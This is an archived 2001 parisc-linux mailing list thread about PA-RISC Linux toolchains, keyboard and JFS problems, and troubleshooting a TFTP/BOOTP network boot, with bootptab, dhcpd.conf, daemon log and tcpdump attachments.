NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 13 17:27:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from whiplash.stampede.org (stampede.org [198.186.203.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id D37DC482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Aug 2001 17:27:53 -0600 (MDT)
Original-Received: from localhost (drax@localhost)
	by whiplash.stampede.org (8.11.2/8.11.2) with ESMTP id f7DNRmM10084;
	Mon, 13 Aug 2001 16:27:48 -0700
In-Reply-To: <200108132319.RAA13888@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11873


On Mon, 13 Aug 2001, Grant Grundler wrote:

> DraX wrote:
> > xMach will soon be talking the PA-Mach port from Utah and merging it in to
> > our source tree, but we are in need of a new PA-RISC toolchain.
> 
> xMach is another kernel+OS?
> 
Yup, www.xmach.org
> Just had a flashback...the unix wars are *not* over...they've somehow
> shifted to a sort-of-voluntary army. :^(
> 
> 
> > Is the PA-Linux team now the maintainers of it?
> 
> No. We don't maintain it any more than anyone else. AFAIK, all of
> the changes the parisc-linux port needs are back upstream to the gcc
> and binutils maintainers.
> 
ok, thanks.

> BTW, Kudos again to the random collection of people who've worked on it for
> the past couple of years.
> 
The original port was done by the people that wrote the first Mach port to
PA-RISC.
> > If so could someone give a little
> > less linux oriented instructions for building the tool chain?
> 
> Though someone might be able to answer your question, I'd expect
> better results by querying an xMach mailing list.
> 
> grant
> 
> Grant Grundler
> parisc-linux {PCI|IOMMU|SMP} hacker
> +1.408.447.7253
> 





From - Thu Nov 08 21:18:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LAN booting
Date: Mon, 13 Aug 2001 17:55:23 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <200108132355.RAA14012@puffin.external.hp.com>
References: <christian@familie-weerts.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620382 23672 80.91.229.3 (22 Nov 2014 01:39:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:42 +0000 (UTC)
Cc: parisc-ml <parisc-linux@lists.parisc-linux.org>
To: Christian Weerts <christian@familie-weerts.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 13 17:57:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2E19482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Aug 2001 17:57:04 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA14012;
	Mon, 13 Aug 2001 17:55:23 -0600
In-Reply-To: Message from Christian Weerts <christian@familie-weerts.de> 
   of "Mon, 13 Aug 2001 18:07:36 -0000." <20010813180736.A306@familie-weerts.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:11874

Christian Weerts wrote:
> Hi,
> 
> is there anyone who has a running 715/80? I want to build a kernel for this
> machine discribed in the nfsroot howto from Martin Petersen, but i don't
> have HP-UX anywhere.

You don't need to have HPUX - note the date of Martin's HOW-TO.
It was posted when we were still using SOM binaries and the linker only
ran under HPUX. You should be able to install from the 0.92 ISO
and build kernels natively.

Or build kernels on x86-linux using the XC toolchain built by Matt Taggart
and posted to the puffin.external.hp.com ftp site. Search parisc-linux
mail archives since May 2001 if you want the full URL.

> If i had a kernel perhaps i could boot the machine over LAN.

Could you mount the 0.92 ISO on an x86-linux box and steal that kernel?
(there are probably several but just try the 32-bit ones.)

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Weilbacher <weilbach@uni-sw.gwdg.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Keyboard with 2.4.7-pa2
Date: Tue, 14 Aug 2001 12:37:48 +0200 (CEST)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0108141209060.12006-100000@leo.uni-sw.gwdg.de>
References: <200107301550.RAA00052@sap-ag.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620382 23675 80.91.229.3 (22 Nov 2014 01:39:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:42 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 04:37:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from leo.uni-sw.gwdg.de (leo.uni-sw.gwdg.de [134.76.205.152])
	by dsl2.external.hp.com (Postfix) with ESMTP id 72655482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 04:37:52 -0600 (MDT)
Original-Received: from weilbach (helo=localhost)
	by leo.uni-sw.gwdg.de with local-esmtp (Exim 3.16)
	id 15Wba0-0004uL-00
	for parisc-linux@lists.parisc-linux.org; Tue, 14 Aug 2001 12:37:48 +0200
In-Reply-To: <200107301550.RAA00052@sap-ag.de>
Xref: news.gmane.org gmane.linux.ports.parisc:11875

Hi,

I tried the current kernel-tarball linux-20010810.tar.gz and
compiled it successfully using the cross-compiler palinux-20010530
(too slow on my HP 712/60) on a Linux machine. I used the same
config-options as in the working 2.4.0-pa49 kernel I was using
successfully before, but I cannot use the keyboard, neither in X nor
on the console, although the kernel seems to have recognized the
keyboard (from dmesg):

Lasi PS/2 wait 2057
Lasi PS/2 wait 1881
PS/2 keyboard controller at 0xf0108000 (irq 69) found, device attached.
PS/2 psaux controller at 0xf0108100 (irq 69) found, no device attached.

There was some discussion on keyboard problems some time ago, but
that was for [BC]* machines... Is this also known? Where can I find
more info (which logs) to help solve the problem?

Greetings,
	Peter.





From - Thu Nov 08 21:18:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Weilbacher <weilbach@uni-sw.gwdg.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Once more: JFS
Date: Tue, 14 Aug 2001 12:46:47 +0200 (CEST)
Lines: 48
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0108141157560.12006-100000@leo.uni-sw.gwdg.de>
References: <Pine.LNX.4.33.0107031224210.15161-100000@leo.uni-sw.gwdg.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620382 23677 80.91.229.3 (22 Nov 2014 01:39:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:42 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 04:46:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from leo.uni-sw.gwdg.de (leo.uni-sw.gwdg.de [134.76.205.152])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5982A482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 04:46:50 -0600 (MDT)
Original-Received: from weilbach (helo=localhost)
	by leo.uni-sw.gwdg.de with local-esmtp (Exim 3.16)
	id 15Wbih-0004vA-00
	for parisc-linux@lists.parisc-linux.org; Tue, 14 Aug 2001 12:46:47 +0200
In-Reply-To: <Pine.LNX.4.33.0107031224210.15161-100000@leo.uni-sw.gwdg.de>
Xref: news.gmane.org gmane.linux.ports.parisc:11876

Hi again,

I gave it a new try with JFS on PA-RISC-Linux. I got kernel
2.4.7-pa2 (linux-20010810.tar.gz) and patched it with JFS 1.0.2.
Cross-compiling the kernel went well, but I had to use the native
PA-RISC-gcc to compile the utilities.

mkfs.jfs now works ok, as opposed to kernel 2.4.0-pa49, and I can
copy files to that partition, but fsck.jfs seems to have problems.
When checking on boot the following messages are written to dmesg:

fsck.jfs(34): unaligned access to 0xfaf0050f at ip=0x0002e50b
fsck.jfs(34): unaligned access to 0xfaf0050f at ip=0x0002e517
fsck.jfs(34): unaligned access to 0xfaf0050f at ip=0x0002e533
fsck.jfs(34): unaligned access to 0xfaf0050f at ip=0x0002e443
fsck.jfs(34): unaligned access to 0xfaf0050f at ip=0x0002e50b
fsck.jfs(34): unaligned access to 0xfaf0050f at ip=0x0002e517
fsck.jfs(34): unaligned access to 0xfaf0050f at ip=0x0002e533
fsck.jfs(34): unaligned access to 0xfaf0050f at ip=0x0002e443
fsck.jfs(34): unaligned access to 0xfaf0058f at ip=0x0002e50b
fsck.jfs(34): unaligned access to 0xfaf0058f at ip=0x0002e517
fsck.jfs(34): unaligned access to 0xfaf0058f at ip=0x0002e533
fsck.jfs(34): unaligned access to 0xfaf0058f at ip=0x0002e443
fsck.jfs(34): unaligned access to 0xfaf004cf at ip=0x0002e50b
fsck.jfs(34): unaligned access to 0xfaf004cf at ip=0x0002e517
fsck.jfs(34): unaligned access to 0xfaf004cf at ip=0x0002e533
fsck.jfs(34): unaligned access to 0xfaf004cf at ip=0x0002e443
fsck.jfs(34): unaligned access to 0xfaf004cf at ip=0x0002e50b
fsck.jfs(34): unaligned access to 0xfaf004cf at ip=0x0002e517
fsck.jfs(34): unaligned access to 0xfaf004cf at ip=0x0002e533
fsck.jfs(34): unaligned access to 0xfaf004cf at ip=0x0002e443
fsck.jfs(34): unaligned access to 0xfaf004cf at ip=0x0002e50b
fsck.jfs(34): unaligned access to 0xfaf004cf at ip=0x0002e517
fsck.jfs(34): unaligned access to 0xfaf004cf at ip=0x0002e533
fsck.jfs(34): unaligned access to 0xfaf004cf at ip=0x0002e443

And hundreds more similar errors when doing a manual fsck.jfs are
written to kern.log, and this check never finishes...

This time it seems to be a PA-RISC-Linux problem, as I recall
earlier problems with "unaligned access" messages.

Greetings,
	Peter.





From - Thu Nov 08 21:18:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Weerts <christian@familie-weerts.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [christian@familie-weerts.de: Re: [parisc-linux] LAN booting]
Date: Tue, 14 Aug 2001 14:07:17 +0000
Organization: private
Lines: 319
Approved: news@gmane.org
Message-ID: <20010814140717.A279@familie-weerts.de>
Reply-To: Christian Weerts <christian@familie-weerts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="a8Wt8u1KmwUX3Y2C"
X-Trace: ger.gmane.org 1416620382 23681 80.91.229.3 (22 Nov 2014 01:39:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:42 +0000 (UTC)
Cc: parisc-ml <parisc-linux@lists.parisc-linux.org>
To: grundler@puffin.external.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 06:12:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.familie-weerts.de (dialin-80069.ewetel.net [212.6.80.69])
	by dsl2.external.hp.com (Postfix) with ESMTP id 815CC482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 06:12:22 -0600 (MDT)
Original-Received: from cw by mail.familie-weerts.de with local (Exim 3.12 #1 (Debian))
	id 15Weqj-00004q-00; Tue, 14 Aug 2001 14:07:17 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:11877

--a8Wt8u1KmwUX3Y2C
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi,
*plong*

Sorry, i forget the attchements ;)

----- Forwarded message from Christian Weerts <christian@familie-weerts.de> -----

Date: Tue, 14 Aug 2001 13:53:37 +0000
From: Christian Weerts <christian@familie-weerts.de>
To: Grant Grundler <grundler@puffin.external.hp.com>
Cc: parisc-ml <parisc-linux@lists.parisc-linux.org>
Subject: Re: [parisc-linux] LAN booting
Reply-To: Christian Weerts <christian@familie-weerts.de>
User-Agent: Mutt/1.2.5i
In-Reply-To: <200108132355.RAA14012@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Mon, Aug 13, 2001 at 05:55:23PM -0600
Organization: private

* Grant Grundler <grundler@puffin.external.hp.com> [010813 23:55]:
> Christian Weerts wrote:
> > Hi,
> > 
> > is there anyone who has a running 715/80? I want to build a kernel for this
> > machine discribed in the nfsroot howto from Martin Petersen, but i don't
> > have HP-UX anywhere.
> 
> You don't need to have HPUX - note the date of Martin's HOW-TO.
> It was posted when we were still using SOM binaries and the linker only
> ran under HPUX. You should be able to install from the 0.92 ISO
> and build kernels natively.
I will try, but first i had to boot the machine over LAN, that's my problem
at the moment.
The RISC-Machine tells something like "Error: cannot load IPL, error
detected. Bootprocess failed..."
Perhaps you could help me, so i attach the bootptab and the dhcp-conf. Also
attached are the daemon.log and output from tcpdump. Btw., gorilla is the
server and mirage the client.
I don't know what's wrong. 
On the risc-machine i told him to boot from the lan.<hw-addr-server>.

> 
> Or build kernels on x86-linux using the XC toolchain built by Matt Taggart
> and posted to the puffin.external.hp.com ftp site. Search parisc-linux
> mail archives since May 2001 if you want the full URL.
Ack.

> 
> > If i had a kernel perhaps i could boot the machine over LAN.
> 
> Could you mount the 0.92 ISO on an x86-linux box and steal that kernel?
> (there are probably several but just try the 32-bit ones.)
I'll try. So, you mean i don't need the nfsroot-package named in Martin's
HOWTO?

Greets from northern germany

	Christian

-- 
http://oldenburg.linux.de

----- End forwarded message -----

-- 
Gruss,
	Christian

-- 
http://oldenburg.linux.de

--a8Wt8u1KmwUX3Y2C
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=bootptab

# /etc/bootptab: database for bootp server (/usr/sbin/bootpd)

# Blank lines and lines beginning with '#' are ignored.
#
# Legend:	(see bootptab.5)
#	first field -- hostname (not indented)
#	bf -- bootfile
#	bs -- bootfile size in 512-octet blocks
#	cs -- cookie servers
#	df -- dump file name
#	dn -- domain name
#	ds -- domain name servers
#	ef -- extension file
#	gw -- gateways
#	ha -- hardware address
#	hd -- home directory for bootfiles
#	hn -- host name set for client
#	ht -- hardware type
#	im -- impress servers
#	ip -- host IP address
#	lg -- log servers
#	lp -- LPR servers
#	ns -- IEN-116 name servers
#	ra -- reply address
#	rl -- resource location protocol servers
#	rp -- root path
#	sa -- boot server address
#	sm -- subnet mask
#	sw -- swap server
#	tc -- template host (points to similar host entry)
#	td -- TFTP directory
#	to -- time offset (seconds)
#	ts -- time servers
#	vm -- vendor magic number
#	Tn -- generic option tag n
#
# Be careful about including backslashes where they're needed.  Weird (bad)
# things can happen when a backslash is omitted where one is intended.
# Also, note that generic option data must be either a string or a
# sequence of bytes where each byte is a two-digit hex value.
mirage:\
	:hd=/tftpboot:\
	:bf=vmlinux:\
	:ht=ether:\
	:ha=0800095fd588:\
	:sm=255.255.255.0:\
	:ip=192.168.14.1:\
	:vm=rfc1048:


--a8Wt8u1KmwUX3Y2C
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="daemon.log"

Aug 14 10:53:31 gorilla dhcpd-2.2.x: Internet Software Consortium DHCP Server 2.0
Aug 14 10:53:31 gorilla dhcpd-2.2.x: Copyright 1995, 1996, 1997, 1998, 1999 The Internet Software Consortium.
Aug 14 10:53:31 gorilla dhcpd-2.2.x: All rights reserved.
Aug 14 10:53:31 gorilla dhcpd-2.2.x: 
Aug 14 10:53:31 gorilla dhcpd-2.2.x: Please contribute if you find this software useful.
Aug 14 10:53:31 gorilla dhcpd-2.2.x: For info, please visit http://www.isc.org/dhcp-contrib.html
Aug 14 10:53:31 gorilla dhcpd-2.2.x: 
Aug 14 10:53:33 gorilla dhcpd-2.2.x: Listening on LPF/eth0/00:80:ad:c6:6c:cc/192.168.14.0
Aug 14 10:53:33 gorilla dhcpd-2.2.x: Sending on   LPF/eth0/00:80:ad:c6:6c:cc/192.168.14.0
Aug 14 10:53:33 gorilla dhcpd-2.2.x: Sending on   Socket/fallback/fallback-net
Aug 14 10:53:39 gorilla proftpd[224]: gorilla - ProFTPD 1.2.0pre10 standalone mode STARTUP 
Aug 14 10:58:22 gorilla dhcpd-2.2.x: Internet Software Consortium DHCP Server 2.0
Aug 14 10:58:22 gorilla dhcpd-2.2.x: Copyright 1995, 1996, 1997, 1998, 1999 The Internet Software Consortium.
Aug 14 10:58:22 gorilla dhcpd-2.2.x: All rights reserved.
Aug 14 10:58:22 gorilla dhcpd-2.2.x: 
Aug 14 10:58:22 gorilla dhcpd-2.2.x: Please contribute if you find this software useful.
Aug 14 10:58:22 gorilla dhcpd-2.2.x: For info, please visit http://www.isc.org/dhcp-contrib.html
Aug 14 10:58:22 gorilla dhcpd-2.2.x: 
Aug 14 10:58:22 gorilla dhcpd-2.2.x: Listening on LPF/eth0/00:80:ad:c6:6c:cc/192.168.14.0
Aug 14 10:58:22 gorilla dhcpd-2.2.x: Sending on   LPF/eth0/00:80:ad:c6:6c:cc/192.168.14.0
Aug 14 10:58:22 gorilla dhcpd-2.2.x: Sending on   Socket/fallback/fallback-net
Aug 14 10:59:30 gorilla dhcpd-2.2.x: BOOTREQUEST from 08:00:09:5f:d5:88 via eth0
Aug 14 10:59:30 gorilla dhcpd-2.2.x: BOOTREPLY for 192.168.14.1 to mirage (08:00:09:5f:d5:88) via eth0
Aug 14 10:59:30 gorilla bootpd[308]: version 2.4.3
Aug 14 10:59:30 gorilla in.tftpd[309]: connect from mirage
Aug 14 10:59:30 gorilla tftpd[310]: tftpd: trying to get file: vmlinux-20010629-parisc 
Aug 14 10:59:30 gorilla tftpd[310]: tftpd: serving file from /boot 
Aug 14 10:59:31 gorilla in.tftpd[311]: connect from mirage
Aug 14 10:59:31 gorilla tftpd[312]: tftpd: trying to get file: vmlinux-20010629-parisc 
Aug 14 10:59:31 gorilla tftpd[312]: tftpd: serving file from /boot 
Aug 14 10:59:31 gorilla in.tftpd[313]: connect from mirage
Aug 14 10:59:31 gorilla tftpd[314]: tftpd: trying to get file: vmlinux-20010629-parisc 
Aug 14 10:59:31 gorilla tftpd[314]: tftpd: serving file from /boot 
Aug 14 10:59:31 gorilla in.tftpd[315]: connect from mirage
Aug 14 10:59:31 gorilla tftpd[316]: tftpd: trying to get file: vmlinux-20010629-parisc 
Aug 14 10:59:31 gorilla tftpd[316]: tftpd: serving file from /boot 
Aug 14 11:01:17 gorilla dhcpd-2.2.x: BOOTREQUEST from 08:00:09:5f:d5:88 via eth0
Aug 14 11:01:17 gorilla dhcpd-2.2.x: BOOTREPLY for 192.168.14.1 to mirage (08:00:09:5f:d5:88) via eth0
Aug 14 11:01:18 gorilla in.tftpd[418]: connect from mirage
Aug 14 11:01:18 gorilla tftpd[419]: tftpd: trying to get file: /tftpboot/vmlinux 
Aug 14 11:01:18 gorilla in.tftpd[420]: connect from mirage
Aug 14 11:01:18 gorilla tftpd[421]: tftpd: trying to get file: /tftpboot/vmlinux 
Aug 14 11:01:18 gorilla in.tftpd[422]: connect from mirage
Aug 14 11:01:18 gorilla tftpd[423]: tftpd: trying to get file: /tftpboot/vmlinux 
Aug 14 11:01:18 gorilla in.tftpd[424]: connect from mirage
Aug 14 11:01:18 gorilla tftpd[425]: tftpd: trying to get file: /tftpboot/vmlinux 
Aug 14 11:02:11 gorilla dhcpd-2.2.x: BOOTREQUEST from 08:00:09:5f:d5:88 via eth0
Aug 14 11:02:11 gorilla dhcpd-2.2.x: BOOTREPLY for 192.168.14.1 to mirage (08:00:09:5f:d5:88) via eth0
Aug 14 11:02:12 gorilla in.tftpd[510]: connect from mirage
Aug 14 11:02:12 gorilla tftpd[511]: tftpd: trying to get file: /tftpboot/vmlinux 
Aug 14 11:02:12 gorilla in.tftpd[512]: connect from mirage
Aug 14 11:02:12 gorilla tftpd[513]: tftpd: trying to get file: /tftpboot/vmlinux 
Aug 14 11:02:12 gorilla in.tftpd[514]: connect from mirage
Aug 14 11:02:12 gorilla tftpd[515]: tftpd: trying to get file: /tftpboot/vmlinux 
Aug 14 11:02:12 gorilla in.tftpd[516]: connect from mirage
Aug 14 11:02:12 gorilla tftpd[517]: tftpd: trying to get file: /tftpboot/vmlinux 
Aug 14 11:04:28 gorilla dhcpd-2.2.x: BOOTREQUEST from 08:00:09:5f:d5:88 via eth0
Aug 14 11:04:28 gorilla dhcpd-2.2.x: BOOTREPLY for 192.168.14.1 to mirage (08:00:09:5f:d5:88) via eth0
Aug 14 11:04:29 gorilla in.tftpd[547]: connect from mirage
Aug 14 11:04:29 gorilla tftpd[548]: tftpd: trying to get file: /tftpboot/vmlinux 
Aug 14 11:04:29 gorilla in.tftpd[549]: connect from mirage
Aug 14 11:04:29 gorilla tftpd[550]: tftpd: trying to get file: /tftpboot/vmlinux 
Aug 14 11:04:29 gorilla in.tftpd[551]: connect from mirage
Aug 14 11:04:29 gorilla tftpd[552]: tftpd: trying to get file: /tftpboot/vmlinux 
Aug 14 11:04:29 gorilla in.tftpd[553]: connect from mirage
Aug 14 11:04:29 gorilla tftpd[554]: tftpd: trying to get file: /tftpboot/vmlinux 

--a8Wt8u1KmwUX3Y2C
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="dhcpd.conf"

# dhcpd.conf
#
subnet 192.168.14.0 netmask 255.255.255.0 {}
 host mirage {
    hardware ethernet 08:00:09:5f:d5:88;
    fixed-address 192.168.14.1;
    option host-name "mirage";
    option domain-name-servers 192.168.14.101;
    option routers 192.14.168.101;
    option root-path "/tftpboot";
    filename "vmlinux-20010629-parisc";
 }

--a8Wt8u1KmwUX3Y2C
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=risc-tcpdump

10:59:30.203655 0.0.0.0.bootpc > 255.255.255.255.bootps: xid:0xfcc5d534 [|bootp]
10:59:30.291983 gorilla.bootps > 255.255.255.255.bootpc: xid:0xfcc5d534 Y:mirage S:gorilla [|bootp] [tos 0x10]
10:59:30.550151 mirage.28920 > gorilla.tftp: 516 RRQ "vmlinux-20010629-parisc" [tos 0x10]
10:59:30.737484 gorilla.bootps > mirage.bootpc: xid:0xfcc5d534 Y:mirage S:gorilla [|bootp]
10:59:30.738265 mirage.bootpc > gorilla.bootps: bootp-#0 htype-#5 hlen:0 xid:0x7e7e7e secs:32382 C:126.126.126.126 [|bootp] [tos 0x10]
10:59:30.987459 gorilla.1026 > mirage.28920: udp 19
10:59:30.988251 mirage.28920 > gorilla.1026: udp 5 [tos 0x10]
10:59:30.988370 gorilla > mirage: icmp: gorilla udp port 1026 unreachable [tos 0xd0]
10:59:30.989018 mirage.46975 > gorilla.tftp: 516 RRQ "vmlinux-20010629-parisc" [tos 0x10]
10:59:31.003815 arp who-has mail tell gorilla
10:59:31.017558 gorilla.1027 > mirage.46975: udp 19
10:59:31.018345 mirage.46975 > gorilla.1027: udp 5 [tos 0x10]
10:59:31.018440 gorilla > mirage: icmp: gorilla udp port 1027 unreachable [tos 0xd0]
10:59:31.019117 mirage.4884 > gorilla.tftp: 516 RRQ "vmlinux-20010629-parisc" [tos 0x10]
10:59:31.044535 gorilla.1027 > mirage.4884: udp 19
10:59:31.045323 mirage.4884 > gorilla.1027: udp 5 [tos 0x10]
10:59:31.045420 gorilla > mirage: icmp: gorilla udp port 1027 unreachable [tos 0xd0]
10:59:31.046103 mirage.36632 > gorilla.tftp: 516 RRQ "vmlinux-20010629-parisc" [tos 0x10]
10:59:31.070682 gorilla.1027 > mirage.36632: udp 19
10:59:31.994754 arp who-has mail tell gorilla
10:59:32.994113 arp who-has mail tell gorilla
10:59:35.734110 arp who-has mirage tell gorilla
10:59:36.004477 arp who-has mail tell gorilla
10:59:36.734107 arp who-has mirage tell gorilla
10:59:37.004111 arp who-has mail tell gorilla
10:59:37.734097 arp who-has mirage tell gorilla
10:59:38.004108 arp who-has mail tell gorilla
10:59:38.734116 arp who-has mirage tell gorilla
10:59:39.734107 arp who-has mirage tell gorilla
10:59:40.734125 arp who-has mirage tell gorilla
10:59:41.014470 arp who-has mail tell gorilla
10:59:42.014111 arp who-has mail tell gorilla
10:59:43.014112 arp who-has mail tell gorilla
11:01:17.943250 0.0.0.0.bootpc > 255.255.255.255.bootps: xid:0xfe9a16d2 [|bootp]
11:01:17.943801 gorilla.bootps > mirage.bootpc: xid:0xfe9a16d2 Y:mirage S:gorilla [|bootp]
11:01:17.945226 gorilla.bootps > 255.255.255.255.bootpc: xid:0xfe9a16d2 Y:mirage S:gorilla [|bootp] [tos 0x10]
11:01:18.202014 mirage.61744 > gorilla.tftp: 516 RRQ "/tftpboot/vmlinux" [tos 0x10]
11:01:18.665590 gorilla.1028 > mirage.61744: udp 21
11:01:18.666406 mirage.61744 > gorilla.1028: udp 5 [tos 0x10]
11:01:18.666509 gorilla > mirage: icmp: gorilla udp port 1028 unreachable [tos 0xd0]
11:01:18.667176 mirage.21207 > gorilla.tftp: 516 RRQ "/tftpboot/vmlinux" [tos 0x10]
11:01:18.691709 gorilla.1028 > mirage.21207: udp 21
11:01:18.692501 mirage.21207 > gorilla.1028: udp 5 [tos 0x10]
11:01:18.692600 gorilla > mirage: icmp: gorilla udp port 1028 unreachable [tos 0xd0]
11:01:18.693267 mirage.16473 > gorilla.tftp: 516 RRQ "/tftpboot/vmlinux" [tos 0x10]
11:01:18.717603 gorilla.1028 > mirage.16473: udp 21
11:01:18.718393 mirage.16473 > gorilla.1028: udp 5 [tos 0x10]
11:01:18.718494 gorilla > mirage: icmp: gorilla udp port 1028 unreachable [tos 0xd0]
11:01:18.719163 mirage.3815 > gorilla.tftp: 516 RRQ "/tftpboot/vmlinux" [tos 0x10]
11:01:18.743408 gorilla.1028 > mirage.3815: udp 21
11:01:22.934151 arp who-has mirage tell gorilla
11:01:23.934110 arp who-has mirage tell gorilla
11:01:24.934114 arp who-has mirage tell gorilla
11:01:25.934152 arp who-has mirage tell gorilla
11:01:26.934112 arp who-has mirage tell gorilla
11:01:27.934111 arp who-has mirage tell gorilla
11:02:11.742023 0.0.0.0.bootpc > 255.255.255.255.bootps: xid:0xff2d883a [|bootp]
11:02:11.742534 gorilla.bootps > mirage.bootpc: xid:0xff2d883a Y:mirage S:gorilla [|bootp]
11:02:11.743916 gorilla.bootps > 255.255.255.255.bootpc: xid:0xff2d883a Y:mirage S:gorilla [|bootp] [tos 0x10]
11:02:12.000727 mirage.47698 > gorilla.tftp: 516 RRQ "/tftpboot/vmlinux" [tos 0x10]
11:02:12.272910 gorilla.1028 > mirage.47698: udp 21
11:02:12.273723 mirage.47698 > gorilla.1028: udp 5 [tos 0x10]
11:02:12.274492 mirage.9305 > gorilla.tftp: 516 RRQ "/tftpboot/vmlinux" [tos 0x10]
11:02:12.299014 gorilla.1028 > mirage.9305: udp 21
11:02:12.299803 mirage.9305 > gorilla.1028: udp 5 [tos 0x10]
11:02:12.299903 gorilla > mirage: icmp: gorilla udp port 1028 unreachable [tos 0xd0]
11:02:12.300572 mirage.4209 > gorilla.tftp: 516 RRQ "/tftpboot/vmlinux" [tos 0x10]
11:02:12.324935 gorilla.1028 > mirage.4209: udp 21
11:02:12.325727 mirage.4209 > gorilla.1028: udp 5 [tos 0x10]
11:02:12.325826 gorilla > mirage: icmp: gorilla udp port 1028 unreachable [tos 0xd0]
11:02:12.326495 mirage.59306 > gorilla.tftp: 516 RRQ "/tftpboot/vmlinux" [tos 0x10]
11:02:12.350826 gorilla.1028 > mirage.59306: udp 21
11:02:16.734099 arp who-has mirage tell gorilla
11:02:17.734092 arp who-has mirage tell gorilla
11:02:18.734087 arp who-has mirage tell gorilla
11:02:19.734085 arp who-has mirage tell gorilla
11:02:20.734085 arp who-has mirage tell gorilla
11:02:21.734086 arp who-has mirage tell gorilla
11:04:28.903665 0.0.0.0.bootpc > 255.255.255.255.bootps: xid:0x8d535e1e [|bootp]
11:04:28.904022 gorilla.bootps > mirage.bootpc: xid:0x8d535e1e Y:mirage S:gorilla [|bootp]
11:04:28.905453 gorilla.bootps > 255.255.255.255.bootpc: xid:0x8d535e1e Y:mirage S:gorilla [|bootp] [tos 0x10]
11:04:29.162226 mirage.25361 > gorilla.tftp: 516 RRQ "/tftpboot/vmlinux" [tos 0x10]
11:04:29.187446 gorilla.1028 > mirage.25361: udp 21
11:04:29.188254 mirage.25361 > gorilla.1028: udp 5 [tos 0x10]
11:04:29.188354 gorilla > mirage: icmp: gorilla udp port 1028 unreachable [tos 0xd0]
11:04:29.189029 mirage.13572 > gorilla.tftp: 516 RRQ "/tftpboot/vmlinux" [tos 0x10]
11:04:29.213331 gorilla.1028 > mirage.13572: udp 21
